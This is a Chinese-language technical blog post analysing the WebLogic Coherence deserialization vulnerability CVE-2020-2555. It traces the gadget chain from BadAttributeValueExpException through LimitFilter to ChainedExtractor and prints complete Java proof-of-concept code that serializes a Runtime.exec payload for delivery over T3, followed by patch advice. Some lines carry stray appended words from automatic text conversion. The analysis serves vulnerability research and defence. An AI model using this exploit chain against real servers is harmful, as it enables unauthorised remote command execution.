Weblogic Coherence组件漏洞初探CVE-2020-2555

2021年09月15日 阅读数:1
这篇文章主要向大家介绍Weblogic Coherence组件漏洞初探CVE-2020-2555,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

Weblogic Coherence组件漏洞初探CVE-2020-2555

2020年1月,互联网上爆出了weblogic反序列化远程命令执行漏洞(CVE-2020-2555),Oracle Fusion中间件Oracle Coherence存在缺陷,攻击者可利用该漏洞再未受权状况下经过构造T3协议请求,获取weblogic服务器权限,执行任意命令。java

漏洞影响状况:web

Oracle Coherence 3.7.1.17数组

Oracle Coherence & Weblogic 12.1.3.0.0bash

Oracle Coherence & Weblogic 12.2.1.3.0服务器

Oracle Coherence & Weblogic 12.2.1.4.0ide

经过研究发现 Weblogic 10.3.6.0 版本不受影响范围内,虽然该版本默认自带了 Coherence(3.7),经过调试发现该版本默认并未启用 Coherence,因此 Weblogic 10.3.6.0 不在受影响范围内。this

漏洞分析

分析环境Weblogic 12.1.3,注意每一个Weblogic中的coherence组件可能会有不一样,致使poc构造没法通用idea

开启weblogic远程调试,打包coherence目录加入到idea中,并开启远程JVM调试调试

image-20210902135526045

在Coherence组件中,出现了像CC链同样能够组成链式调用的类code

1) 链式调用

首先介绍几个关键类,这几个类和CC链同样组成了链式调用。

ValueExtractor接口

全部实现了此接口的类都有个extract方法,这个方法是整个调用链的关键方法

image-20210902143633617

ReflectionExtractor类

此类实现了ValueExtractor接口,有个extract方法,此方法有调用method.invoke

image-20210902143934409

能够用如下demo来构造Runtime.getRuntime()

public class Test {
    public static void main(String[] args) {
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
                "getMethod",
                new Object[]{"getRuntime", new Class[0]}
        );

        Object extract = reflectionExtractor.extract(Runtime.class);
        System.out.println(extract);
    }
}

image-20210902153118475

ChainedExtractor类

此方法也实现了ValueExtractor接口,也有个extract方法,查看此方法

image-20210902144436278

此方法和CC链的同样,利用for循环遍历了数组aExtractor的每个extract方法,造成了ChainedExtractor调用链。如下demo能够构造Runtime.getRuntime.exec形成命令执行的效果

public class Test {
    public static void main(String[] args) {
        String cmd = "calc";

        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
                new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
        chainedExtractor.extract(Runtime.class);
    }
}

image-20210902154005849

接下来只要寻找到调用了ChainedExtractor#extract方法的类,便可触发调用链。

2) 触发调用链

LimitFilter#toString

此处漏洞采用了com.tangosol.util.filter.LimitFilter#toString来触发调用链,下图为toString方法,其调用了extract方法

image-20210902211137182

这里涉及两个值,分别是this.m_comparatorthis.m_oAnchorTop

this.m_comparator转型成了ValueExtractor类型,并赋值给了extractor,而extractor则调用了extract方法

image-20210902211430960

extractor方法中传入了this.m_oAnchorTop

image-20210902211700645

得出如下条件:

this.m_comparatorchainedExtractor

this.m_oAnchorTopRuntime.class

以上两个条件知足便可利用com.tangosol.util.filter.LimitFilter#toString来触发调用链

LimitFilter#toString -》 chainedExtractor#extract

接下来就是寻找调用了LimitFilter#toString的类,在CC5中有个BadAttributeValueExpException,其readObject中会调用到toString

BadAttributeValueExpException

此类在CC5中有出现过,其readObject中会调用到toString

image-20210902212436145

此处会调用valObjtoString方法,而valObj在72行时候被获取

image-20210902212557253

3) 构造POC

先附上整个调用链:

Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                LimitFilter.toString()
                    ChainedExtractor.extract()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Class.getMethod()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Runtime.getRuntime()
                            ReflectionExtractor.extract()
                                Method.invoke()
                                    Runtime.exec()

得出POC

package com.yyhuni;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class POC1 {
    public static void main(String[] args) throws Exception {
        String cmd = "calc";
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
                new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
//                new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);

        LimitFilter limitFilter = new LimitFilter();

        BadAttributeValueExpException BadAttribute = new BadAttributeValueExpException(null);

        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, chainedExtractor);

        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);

        Field val = BadAttribute.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(BadAttribute, limitFilter);

        //writeObject
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(BadAttribute);
        objectOutputStream.close();

        //readObject
        ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectIntputStream.readObject();
        objectIntputStream.close();
    }
}

使用T3协议发送POC便可弹出计算器

image-20210902213252508

修复

  1. 临时解决方案:禁用 weblogic T3 协议。
  2. 安装 Oracle 更新补丁,须要登陆账户后下载。